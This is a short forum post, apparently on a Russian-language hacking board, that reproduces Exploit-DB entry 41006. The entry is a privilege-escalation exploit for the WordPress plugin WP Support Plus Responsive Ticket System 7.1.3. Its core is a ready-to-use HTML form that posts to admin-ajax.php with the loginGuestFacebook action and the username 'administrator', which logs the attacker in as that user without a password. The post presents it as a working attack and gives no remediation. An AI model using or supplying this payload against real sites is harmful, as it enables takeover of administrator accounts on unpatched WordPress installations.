Exploit WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
41006
Проверка EDB
  1. Пройдено
Автор
KACPER SZUREK
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2017-01-10
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation
Код:
# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
# Date: 10-01-2017
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: web
 
1. Description

You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

2. Proof of Concept

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

Then you can go to admin panel.
 
Источник
www.exploit-db.com

Похожие темы